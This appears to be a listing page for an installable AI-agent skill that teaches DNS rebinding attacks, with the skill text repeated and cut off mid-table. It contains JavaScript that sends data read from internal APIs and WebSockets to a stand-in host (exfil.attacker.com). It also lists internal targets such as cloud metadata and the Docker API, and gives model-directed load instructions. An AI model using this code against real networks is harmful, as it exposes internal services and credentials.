/dns-rebinding-attacks
DNS rebinding attack playbook. Use when testing applications that trust DNS resolution for origin checks, interact with internal services from browser context, or when SSRF is not possible server-side but the target has client-side fetch/XHR to attacker-controlled domains.
$ npx -y skills add yaklang/hack-skills --skill dns-rebinding-attacks --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/dns-rebinding-attacks
Context preview
The summary Claude sees to decide when to auto-load this skill.
DNS rebinding attack playbook. Use when testing applications that trust DNS resolution for origin checks, interact with internal services from browser context, or when SSRF is not possible server-side but the target has client-side fetch/XHR to attacker-controlled domains.
SKILL.md
dns-rebinding-attacks.SKILL.mdname: dns-rebinding-attacks
description: >-
DNS rebinding attack playbook. Use when testing applications that trust DNS resolution for origin checks, interact with internal services from browser context, or when SSRF is not possible server-side but the target has client-side fetch/XHR to attacker-controlled domains.
SKILL: DNS Rebinding — Expert Attack Playbook
> **AI LOAD INSTRUCTION**: Expert DNS rebinding techniques for bypassing same-origin policy via DNS manipulation. Covers TTL tricks, browser cache bypasses, attack variants (HTTP, WebSocket, TOCTOU), internal service targeting, and tool usage. Base models confuse DNS rebinding with SSRF — this skill clarifies the client-side nature and unique exploit paths.
0. RELATED ROUTING
- [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md) — server-side variant; DNS rebinding is the **client-side** counterpart
- [cors-cross-origin-misconfiguration](../cors-cross-origin-misconfiguration/SKILL.md) — when CORS misconfig allows direct cross-origin reads instead
---
1. CORE PRINCIPLE
The browser same-origin policy binds `protocol + host + port`. The **host** is resolved via DNS at connection time. If an attacker controls the DNS server for `attacker.com`, they can:
1. First resolution → attacker IP (serve malicious JS) 2. Second resolution → internal IP (victim's network) 3. Browser considers both responses same-origin (`attacker.com`) 4. Malicious JS reads responses from internal services
Victim visits attacker.com
│
▼
DNS query: attacker.com → 1.2.3.4 (attacker server)
Browser loads malicious JS from 1.2.3.4
│
▼
TTL expires (or forced flush)
│
▼
JS triggers new request to attacker.com
DNS query: attacker.com → 192.168.1.1 (internal target)
Browser sends request to 192.168.1.1 as "attacker.com" origin
│
▼
JS reads response — same-origin policy satisfied
Exfiltrates data to attacker's other endpoint**Key insight**: SOP checks the hostname string, not the resolved IP. DNS can change the IP behind the same hostname.
---
2. TTL MANIPULATION
DNS server configuration
The attacker runs an authoritative DNS server for their domain that alternates responses:
| Query # | Response | TTL | |---|---|---| | 1st | Attacker IP (e.g., `1.2.3.4`) | 0 | | 2nd+ | Target internal IP (e.g., `192.168.1.1`) | 0 |
TTL=0 tells resolvers not to cache the result, forcing re-resolution on next connection.
Browser DNS cache reality
Browsers maintain their own DNS cache that **ignores low TTLs**:
| Browser | Internal DNS Cache | Bypass Technique | |---|---|---| | Chrome | ~60 seconds minimum | Wait 60s; or use multiple subdomains | | Firefox | ~60 seconds (network.dnsCacheExpiration) | Adjustable in about:config | | Safari | ~varies | Generally shorter cache | | Edge (Chromium) | Same as Chrome (~60s) | Same techniques as Chrome |
Bypass strategies
1. Multiple A records technique:
- Return BOTH attacker IP and target IP in single DNS response
- Browser tries first IP; if connection fails → falls back to second
- Block attacker IP after initial page load → forces fallback to internal IP
2. Subdomain flooding:
- Use unique subdomains: a1.rebind.attacker.com, a2.rebind.attacker.com...
- Each subdomain gets fresh DNS resolution (no cache hit)
3. Service worker flush:
- Register service worker that intercepts and delays requests
- By the time fetch executes, DNS cache has expired
---
3. ATTACK VARIANTS
3.1 Classic HTTP Rebinding
Target: internal web services (admin panels, REST APIs)
// Served from attacker.com (first DNS resolution → attacker IP)
async function exploit() {
// Wait for DNS cache to expire
await sleep(65000); // >60s for Chrome
// This request now resolves to internal IP
const resp = await fetch('http://attacker.com:8080/api/admin/users');
const data = await resp.text();
// Exfiltrate to different attacker endpoint
navigator.sendBeacon('https://exfil.attacker.com/log', data);
}3.2 WebSocket Rebinding
WebSocket connections persist after DNS rebinding. Establish WS, then rebind:
// After rebinding, WebSocket connects to internal service
const ws = new WebSocket('ws://attacker.com:9090/ws');
ws.onopen = () => {
ws.send('{"action":"dump_config"}');
};
ws.onmessage = (e) => {
fetch('https://exfil.attacker.com/ws-data', {
method: 'POST',
body: e.data
});
};3.3 Time-of-Check-to-Time-of-Use (TOCTOU)
Server-side applications that validate DNS at request time but reuse the connection:
1. Application receives URL: http://attacker.com/callback
2. Server resolves attacker.com → 1.2.3.4 (public IP) → passes validation
3. Server opens connection / follows redirect
4. DNS changes: attacker.com → 169.254.169.254
5. Connection reuse or redirect hits internal IP
This is a hybrid with SSRF — the rebinding happens in the server's resolver.
3.4 Multiple A Records (Fastest Variant)
DNS response for attacker.com:
A 1.2.3.4 (attacker — serves JS)
A 192.168.1.1 (target — internal service)
1. Browser connects to 1.2.3.4, loads page with JS
2. Attacker firewall blocks further connections from victim to 1.2.3.4
3. JS makes new request to attacker.com
4. Browser tries 1.2.3.4 → connection refused
5. Falls back to 192.168.1.1 → still same origin
6. Response readable by JS
---
4. HIGH-VALUE TARGETS
| Target | Port | Why | |---|---|---| | Cloud metadata | `169.254.169.254:80` | AWS/GCP/Azure instance credentials, tokens | | Docker API | `172.17.0.1:2375` | Container creation, host filesystem mount → RCE | | Kubernetes API | `10.96.0.1:443/6443` | Pod creation, secret reading | | Internal admin panels | Various | Router config, NAS, printer, SCADA | | IoT devices | `192.168.x.x:80/443` | Camera feeds, smart home control | | Elasticsearc
Read more
name: dns-rebinding-attacks description: >- DNS rebinding attack playbook. Use when testing applications that trust DNS resolution for origin checks, interact with internal services from browser context, or when SSRF is not possible server-side but the target has client-side fetch/XHR to attacker-controlled domains.
SKILL: DNS Rebinding — Expert Attack Playbook
> **AI LOAD INSTRUCTION**: Expert DNS rebinding techniques for bypassing same-origin policy via DNS manipulation. Covers TTL tricks, browser cache bypasses, attack variants (HTTP, WebSocket, TOCTOU), internal service targeting, and tool usage. Base models confuse DNS rebinding with SSRF — this skill clarifies the client-side nature and unique exploit paths.
0. RELATED ROUTING
- [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md) — server-side variant; DNS rebinding is the **client-side** counterpart
- [cors-cross-origin-misconfiguration](../cors-cross-origin-misconfiguration/SKILL.md) — when CORS misconfig allows direct cross-origin reads instead
---
1. CORE PRINCIPLE
The browser same-origin policy binds `protocol + host + port`. The **host** is resolved via DNS at connection time. If an attacker controls the DNS server for `attacker.com`, they can:
1. First resolution → attacker IP (serve malicious JS) 2. Second resolution → internal IP (victim's network) 3. Browser considers both responses same-origin (`attacker.com`) 4. Malicious JS reads responses from internal services
Victim visits attacker.com
│
▼
DNS query: attacker.com → 1.2.3.4 (attacker server)
Browser loads malicious JS from 1.2.3.4
│
▼
TTL expires (or forced flush)
│
▼
JS triggers new request to attacker.com
DNS query: attacker.com → 192.168.1.1 (internal target)
Browser sends request to 192.168.1.1 as "attacker.com" origin
│
▼
JS reads response — same-origin policy satisfied
Exfiltrates data to attacker's other endpoint**Key insight**: SOP checks the hostname string, not the resolved IP. DNS can change the IP behind the same hostname.
---
2. TTL MANIPULATION
DNS server configuration
The attacker runs an authoritative DNS server for their domain that alternates responses:
| Query # | Response | TTL | |---|---|---| | 1st | Attacker IP (e.g., `1.2.3.4`) | 0 | | 2nd+ | Target internal IP (e.g., `192.168.1.1`) | 0 |
TTL=0 tells resolvers not to cache the result, forcing re-resolution on next connection.
Browser DNS cache reality
Browsers maintain their own DNS cache that **ignores low TTLs**:
| Browser | Internal DNS Cache | Bypass Technique | |---|---|---| | Chrome | ~60 seconds minimum | Wait 60s; or use multiple subdomains | | Firefox | ~60 seconds (network.dnsCacheExpiration) | Adjustable in about:config | | Safari | ~varies | Generally shorter cache | | Edge (Chromium) | Same as Chrome (~60s) | Same techniques as Chrome |
Bypass strategies
1. Multiple A records technique: - Return BOTH attacker IP and target IP in single DNS response - Browser tries first IP; if connection fails → falls back to second - Block attacker IP after initial page load → forces fallback to internal IP 2. Subdomain flooding: - Use unique subdomains: a1.rebind.attacker.com, a2.rebind.attacker.com... - Each subdomain gets fresh DNS resolution (no cache hit) 3. Service worker flush: - Register service worker that intercepts and delays requests - By the time fetch executes, DNS cache has expired
---
3. ATTACK VARIANTS
3.1 Classic HTTP Rebinding
Target: internal web services (admin panels, REST APIs)
// Served from attacker.com (first DNS resolution → attacker IP)
async function exploit() {
// Wait for DNS cache to expire
await sleep(65000); // >60s for Chrome
// This request now resolves to internal IP
const resp = await fetch('http://attacker.com:8080/api/admin/users');
const data = await resp.text();
// Exfiltrate to different attacker endpoint
navigator.sendBeacon('https://exfil.attacker.com/log', data);
}3.2 WebSocket Rebinding
WebSocket connections persist after DNS rebinding. Establish WS, then rebind:
// After rebinding, WebSocket connects to internal service
const ws = new WebSocket('ws://attacker.com:9090/ws');
ws.onopen = () => {
ws.send('{"action":"dump_config"}');
};
ws.onmessage = (e) => {
fetch('https://exfil.attacker.com/ws-data', {
method: 'POST',
body: e.data
});
};3.3 Time-of-Check-to-Time-of-Use (TOCTOU)
Server-side applications that validate DNS at request time but reuse the connection:
1. Application receives URL: http://attacker.com/callback 2. Server resolves attacker.com → 1.2.3.4 (public IP) → passes validation 3. Server opens connection / follows redirect 4. DNS changes: attacker.com → 169.254.169.254 5. Connection reuse or redirect hits internal IP
This is a hybrid with SSRF — the rebinding happens in the server's resolver.
3.4 Multiple A Records (Fastest Variant)
DNS response for attacker.com: A 1.2.3.4 (attacker — serves JS) A 192.168.1.1 (target — internal service) 1. Browser connects to 1.2.3.4, loads page with JS 2. Attacker firewall blocks further connections from victim to 1.2.3.4 3. JS makes new request to attacker.com 4. Browser tries 1.2.3.4 → connection refused 5. Falls back to 192.168.1.1 → still same origin 6. Response readable by JS
---
4. HIGH-VALUE TARGETS
| Target | Port | Why | |---|---|---| | Cloud metadata | `169.254.169.254:80` | AWS/GCP/Azure instance credentials, tokens | | Docker API | `172.17.0.1:2375` | Container creation, host filesystem mount → RCE | | Kubernetes API | `10.96.0.1:443/6443` | Pod creation, secret reading | | Internal admin panels | Various | Router config, NAS, printer, SCADA | | IoT devices | `192.168.x.x:80/443` | Camera feeds, smart home control | | Elasticsearc
Master Entry → Category Entries → Deep Topic Skills One master entry, six category entries, and 101 deep topic skills across 14 security domains.
Repo: yaklang/hack-skills
Other skills on hack-skills.
- /401-403-bypass-techniques
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.
Open skill - /active-directory-acl-abuse
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.
Open skill - /active-directory-certificate-services
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.
Open skill - /active-directory-kerberos-attacks
Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.
Open skill - /ai-ml-security
AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.
Open skill - /android-pentesting-tricks
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.
Open skill

